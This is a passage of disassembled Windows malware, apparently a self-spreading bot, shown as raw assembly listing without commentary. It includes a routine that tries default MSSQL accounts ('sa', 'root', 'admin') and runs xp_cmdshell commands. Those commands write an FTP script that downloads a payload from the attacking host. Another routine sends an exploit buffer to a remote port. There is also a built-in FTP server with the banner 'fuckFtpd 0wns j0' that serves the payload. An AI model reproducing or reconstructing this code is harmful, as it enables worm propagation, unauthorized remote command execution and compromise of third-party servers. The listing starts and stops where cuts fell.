		retn	8
sub_404D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D92	proc near		; CODE XREF: sub_404BCE+39p
					; sub_404BCE+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404DA5
		call	sub_41FFBC


loc_404DA5:				; CODE XREF: sub_404D92+Cj
		mov	ecx, edi
		call	sub_404EB6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404DBB
		mov	ebx, eax


loc_404DBB:				; CODE XREF: sub_404D92+25j
		test	ebx, ebx
		jbe	short loc_404DF1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416470
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C9C
		test	al, al
		jz	short loc_404DF1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404DF1:				; CODE XREF: sub_404D92+2Bj
					; sub_404D92+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DF9	proc near		; CODE XREF: sub_404C9C+79p
		mov	eax, offset loc_42026C
		call	sub_416438
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404E1F
		mov	edi, [ebp+8]


loc_404E1F:				; CODE XREF: sub_404DF9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404E2C
		xor	eax, eax


loc_404E2C:				; CODE XREF: sub_404DF9+2Fj
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E38:				; DATA XREF: seg001:00421F0Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E47
		xor	eax, eax


loc_404E47:				; CODE XREF: sub_404DF9+4Aj
		push	eax
		call	sub_4167A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E57
		retn
; ---------------------------------------------------------------------------


loc_404E57:				; DATA XREF: sub_404DF9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_404E5D:				; CODE XREF: sub_404DF9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E7B
		cmp	eax, edi
		jbe	short loc_404E6A
		mov	eax, edi


loc_404E6A:				; CODE XREF: sub_404DF9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4155B0
		add	esp, 0Ch


loc_404E7B:				; CODE XREF: sub_404DF9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404D21
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E9B
		mov	edi, ebx


loc_404E9B:				; CODE XREF: sub_404DF9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EB6	proc near		; CODE XREF: sub_404D92+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EE3
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EE3
		cmp	al, 0FFh
		jz	short loc_404EE3
		push	1
		call	sub_404D21
		push	esi
		call	sub_415CD0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D5D


loc_404EE3:				; CODE XREF: sub_404EB6+9j
					; sub_404EB6+10j ...
		pop	edi
		pop	esi
		retn
sub_404EB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EE6	proc near		; DATA XREF: seg002:00423008o
		test	ds:byte_46975C,	1
		jnz	short loc_404EF6
		or	ds:byte_46975C,	1


loc_404EF6:				; CODE XREF: sub_404EE6+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_416820
		pop	ecx
		retn
sub_404EE6	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F08	proc near		; CODE XREF: seg000:0040516Cp

var_E2C		= byte ptr -0E2Ch
var_A2C		= byte ptr -0A2Ch
var_62C		= byte ptr -62Ch
var_22C		= byte ptr -22Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E2Ch
		mov	al, ds:byte_438F9C
		push	esi
		mov	[ebp+var_1], al
		push	edi
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		mov	esi, offset aSa	; "sa"
		push	edi
		push	1
		mov	[ebp+var_2C], esi
		mov	[ebp+var_28], offset aRoot ; "root"
		mov	[ebp+var_24], offset aAdmin ; "admin"
		mov	[ebp+var_20], edi
		mov	[ebp+var_18], edi
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	ds:dword_43A2FC
		test	ax, ax
		jnz	short loc_404F68
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	ds:dword_43A400
		test	ax, ax
		jz	short loc_404F6F


loc_404F68:				; CODE XREF: sub_404F08+47j
		xor	eax, eax
		jmp	loc_405148
; ---------------------------------------------------------------------------


loc_404F6F:				; CODE XREF: sub_404F08+5Ej
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	ds:dword_43A2FC
		test	ax, ax
		jnz	loc_40513B
		test	esi, esi
		push	ebx
		jz	loc_40512C
		mov	edi, ds:dword_421060
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], eax
		mov	ebx, offset aTilesoft_com ; "Tilesoft.com"


loc_404FA1:				; CODE XREF: sub_404F08+1CFj
		cmp	ds:off_42C328, 0
		jz	loc_4050CB
		mov	eax, offset off_42C328
		mov	esi, eax


loc_404FB5:				; CODE XREF: sub_404F08+122j
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A2C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E2C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	ds:dword_43A3B4
		test	ax, ax
		jz	short loc_405031
		cmp	ax, 1
		jz	short loc_405031
		push	1F4h
		call	edi	; Sleep
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404FB5
		jmp	loc_4050CB
; ---------------------------------------------------------------------------


loc_405031:				; CODE XREF: sub_404F08+10Bj
					; sub_404F08+111j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	ds:dword_43A2FC
		push	ebx
		push	ebx
		call	sub_415529
		push	eax
		call	sub_415529
		push	eax
		push	ds:dword_438FBC
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_4154CD
		add	esp, 20h
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_43A33C
		test	ax, ax
		jz	short loc_4050C0
		mov	esi, 1388h
		push	esi
		call	edi	; Sleep
		push	ebx
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	ds:dword_43A33C
		test	ax, ax
		jz	short loc_4050DC
		push	esi
		call	edi	; Sleep


loc_4050C0:				; CODE XREF: sub_404F08+17Fj
		push	[ebp+var_8]
		push	3
		call	ds:dword_43A394


loc_4050CB:				; CODE XREF: sub_404F08+A0j
					; sub_404F08+124j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_40512C
		jmp	loc_404FA1
; ---------------------------------------------------------------------------


loc_4050DC:				; CODE XREF: sub_404F08+1B3j
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_40510A
		push	0
		lea	eax, [ebp+var_22C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_40510A:				; CODE XREF: sub_404F08+1E2j
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_40512C:				; CODE XREF: sub_404F08+82j
					; sub_404F08+1CDj
		push	[ebp+var_10]
		push	2
		call	ds:dword_43A394
		mov	edi, [ebp+var_18]
		pop	ebx


loc_40513B:				; CODE XREF: sub_404F08+79j
		push	[ebp+var_14]
		push	1
		call	ds:dword_43A394
		mov	eax, edi


loc_405148:				; CODE XREF: sub_404F08+62j
		pop	edi
		pop	esi
		leave
		retn
sub_404F08	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F08
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		mov	[ebp+0C0h], eax
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051A0	proc near		; CODE XREF: seg000:0040539Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, ds:word_4266D8
		push	eax
		call	ds:dword_43A378	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43A3F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4052B9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4052B9
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		mov	esi, offset aTilesoft_com ; "Tilesoft.com"
		push	esi
		push	esi
		push	ds:dword_438FBC
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4052B9
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4052BD


loc_4052B9:				; CODE XREF: sub_4051A0+51j
					; sub_4051A0+67j ...
		xor	al, al
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052BD:				; CODE XREF: sub_4051A0+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		push	ebx
		call	ds:dword_43A410	; closesocket
		mov	al, 1


loc_4052DB:				; CODE XREF: sub_4051A0+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4051A0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	ds:dword_4211C8	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40530A
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_4211D8	; inet_addr
		mov	ebx, eax
		jmp	short loc_405310
; ---------------------------------------------------------------------------


loc_40530A:				; CODE XREF: seg000:004052FAj
		mov	ebx, [ebp+0C0h]


loc_405310:				; CODE XREF: seg000:00405308j
		push	11h
		push	2
		push	2
		call	ds:dword_4211E0	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_40533A
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		jmp	short loc_40533D
; ---------------------------------------------------------------------------


loc_40533A:				; CODE XREF: seg000:00405320j
		mov	[ebp-0Ch], ebx


loc_40533D:				; CODE XREF: seg000:00405338j
		test	esi, esi
		jz	short loc_40534B
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_405351
; ---------------------------------------------------------------------------


loc_40534B:				; CODE XREF: seg000:0040533Fj
		mov	word ptr [ebp-10h], 2


loc_405351:				; CODE XREF: seg000:00405349j
		push	598h
		call	ds:dword_4211DC	; ntohs
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4211E4	; connect
		test	eax, eax
		jnz	short loc_4053D6
		push	eax
		push	152h
		push	offset dword_426584
		push	edi
		call	ds:dword_4211EC	; send
		push	3E8h
		call	ds:dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4051A0
		add	esp, 0BCh
		test	al, al
		jz	short loc_4053B2
		push	1
		pop	eax
		jmp	short loc_4053E8
; ---------------------------------------------------------------------------


loc_4053B2:				; CODE XREF: seg000:004053ABj
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]
		jmp	short loc_4053E6
; ---------------------------------------------------------------------------


loc_4053D6:				; CODE XREF: seg000:0040536Fj
		push	1
		push	edi
		call	ds:dword_4211CC	; shutdown
		push	edi
		call	ds:dword_4211F0	; closesocket


loc_4053E6:				; CODE XREF: seg000:004053D4j
		xor	eax, eax


loc_4053E8:				; CODE XREF: seg000:004053B0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp-6DCh]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp-0A6Ch]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp-28h], ebx
		mov	[ebp-18h], ebx
		mov	[ebp-228h], edi
		mov	[ebp-438h], edi
		call	ds:dword_4211B0	; WSAStartup
		push	edi
		call	loc_416AB4
		push	eax
		call	sub_41551F
		push	0FA00h
		push	471h
		call	sub_41407E
		add	esp, 10h
		mov	ds:dword_438FBC, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_4211E0	; socket
		mov	esi, eax
		lea	eax, [ebp-28h]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp-0Ch], esi
		call	ds:dword_4211B4	; setsockopt
		lea	eax, [ebp-18h]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_4211B8	; ioctlsocket
		mov	ax, word ptr ds:dword_438FBC
		mov	word ptr [ebp-38h], 2
		push	eax
		mov	[ebp-34h], edi
		call	ds:dword_4211DC	; ntohs
		mov	[ebp-36h], ax
		lea	eax, [ebp-38h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4211BC	; bind
		test	eax, eax
		jge	short loc_4054C2
		mov	eax, ebx
		jmp	loc_4059E9
; ---------------------------------------------------------------------------


loc_4054C2:				; CODE XREF: seg000:004054B9j
		push	0Ah
		push	esi
		call	ds:dword_4211C0	; listen
		mov	[ebp-228h], ebx
		mov	ebx, ds:dword_4211EC
		mov	[ebp-224h], esi
		mov	[ebp-4], esi


loc_4054E0:				; CODE XREF: seg000:00405519j
					; seg000:004059E1j
		push	41h
		lea	esi, [ebp-228h]
		pop	ecx
		lea	edi, [ebp-438h]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp-438h]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp-4]
		inc	eax
		push	eax
		call	ds:dword_4211D0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059E6
		xor	edi, edi
		cmp	[ebp-4], esi
		mov	[ebp+8], edi
		jl	short loc_4054E0


loc_40551B:				; CODE XREF: seg000:004059DBj
		xor	esi, esi
		push	64h
		lea	eax, [ebp-29Ch]
		push	esi
		push	eax
		call	sub_415550
		push	64h
		lea	eax, [ebp-0ACh]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 18h
		lea	eax, [ebp-438h]
		push	eax
		push	edi
		call	sub_4200E6	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4059D4
		cmp	edi, [ebp-0Ch]
		jnz	short loc_4055D2
		lea	eax, [ebp-24h]
		mov	dword ptr [ebp-24h], 10h
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_4211C4	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D4
		xor	ecx, ecx
		cmp	[ebp-228h], esi
		jbe	short loc_40559C
		lea	edx, [ebp-224h]


loc_40558C:				; CODE XREF: seg000:0040559Aj
		cmp	[edx], eax
		jz	short loc_40559C
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp-228h]
		jb	short loc_40558C


loc_40559C:				; CODE XREF: seg000:00405584j
					; seg000:0040558Ej
		cmp	ecx, [ebp-228h]
		jnz	short loc_4055BA
		cmp	dword ptr [ebp-228h], 40h
		jnb	short loc_4055BA
		mov	[ebp+ecx*4-224h], eax
		inc	dword ptr [ebp-228h]


loc_4055BA:				; CODE XREF: seg000:004055A2j
					; seg000:004055ABj
		cmp	eax, [ebp-4]
		jle	short loc_4055C2
		mov	[ebp-4], eax


loc_4055C2:				; CODE XREF: seg000:004055BDj
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4055D2:				; CODE XREF: seg000:00405556j
		push	esi
		lea	eax, [ebp-29Ch]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4211E8	; recv
		test	eax, eax
		jg	short loc_405639
		mov	edx, [ebp-228h]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40562D
		lea	eax, [ebp-224h]


loc_4055F9:				; CODE XREF: seg000:00405603j
		cmp	[eax], edi
		jz	short loc_405607
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055F9
		jmp	short loc_40562D
; ---------------------------------------------------------------------------


loc_405607:				; CODE XREF: seg000:004055FBj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_405627
		lea	eax, [ebp+ecx*4-224h]


loc_405613:				; CODE XREF: seg000:00405625j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp-228h]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_405613


loc_405627:				; CODE XREF: seg000:0040560Aj
		dec	dword ptr [ebp-228h]


loc_40562D:				; CODE XREF: seg000:004055F1j
					; seg000:00405605j
		push	edi
		call	ds:dword_4211F0	; closesocket
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_405639:				; CODE XREF: seg000:004055E5j
		lea	eax, [ebp-334h]
		push	eax
		lea	eax, [ebp-0ACh]
		push	eax
		lea	eax, [ebp-29Ch]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_416A80
		lea	eax, [ebp-0ACh]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4158F0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40567D
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_40567D:				; CODE XREF: seg000:0040566Ej
		lea	eax, [ebp-0ACh]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056A1
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_4056A1:				; CODE XREF: seg000:00405692j
		lea	eax, [ebp-0ACh]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056C5
		push	esi
		push	0Dh
		push	offset a215Fuckftpd ; "215 fuckFtpd\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_4056C5:				; CODE XREF: seg000:004056B6j
		lea	eax, [ebp-0ACh]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056E9
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_4056E9:				; CODE XREF: seg000:004056DAj
		lea	eax, [ebp-0ACh]
		push	offset off_4268E0
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40570D
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_40570D:				; CODE XREF: seg000:004056FEj
		lea	eax, [ebp-0ACh]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405748
		lea	eax, [ebp-334h]
		push	offset aA	; "A"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405748
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_405748:				; CODE XREF: seg000:00405722j
					; seg000:00405739j
		lea	eax, [ebp-0ACh]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405783
		lea	eax, [ebp-334h]
		push	offset aI	; "I"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405783
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059BF
; ---------------------------------------------------------------------------


loc_405783:				; CODE XREF: seg000:0040575Dj
					; seg000:00405774j
		lea	eax, [ebp-0ACh]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057D1
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp-124h]
		rep movsd
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		movsw
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-124h]


loc_4057C1:				; CODE XREF: seg000:00405810j
		push	eax
		push	dword ptr [ebp+8]
		call	ebx	; send
		xor	esi, esi


loc_4057C9:				; CODE XREF: seg000:004058E0j
		mov	edi, [ebp+8]
		jmp	loc_4059C2
; ---------------------------------------------------------------------------


loc_4057D1:				; CODE XREF: seg000:00405798j
		lea	eax, [ebp-0ACh]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405812
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp-0C4h]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		movsb
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-0C4h]
		jmp	short loc_4057C1
; ---------------------------------------------------------------------------


loc_405812:				; CODE XREF: seg000:004057E6j
		lea	eax, [ebp-0ACh]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058E5
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-0F8h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-29Ch]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416A80
		lea	eax, [ebp-0F8h]
		push	eax
		call	sub_415A3F
		mov	edi, eax
		lea	eax, [ebp-2D0h]
		push	eax
		call	sub_415A3F
		mov	[ebp-8], eax
		push	32h
		lea	eax, [ebp-0F8h]
		push	esi
		push	eax
		call	sub_415550
		push	dword ptr [ebp-8]
		lea	eax, [ebp-0F8h]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4154CD
		add	esp, 44h
		lea	eax, [ebp-0F8h]
		push	10h
		push	esi
		push	eax
		call	sub_416A69
		mov	[ebp-8], eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-48h]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4154CD
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	dword ptr [ebp+8]
		call	ebx	; send
		jmp	loc_4057C9
; ---------------------------------------------------------------------------


loc_4058E5:				; CODE XREF: seg000:00405827j
		lea	eax, [ebp-0ACh]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059A0
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	dword ptr [ebp-8]
		lea	eax, [ebp-48h]
		push	eax
		call	sub_4059F0
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405996
		call	loc_405A6D
		cmp	eax, 1
		jnz	loc_4059C2
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp-6D8h]
		push	eax
		lea	eax, [ebp-48h]
		push	ds:dword_438FBC
		push	eax
		lea	eax, [ebp-8DCh]
		push	offset dword_426724
		push	eax
		call	sub_4154CD
		add	esp, 14h
		cmp	[ebp-440h], esi
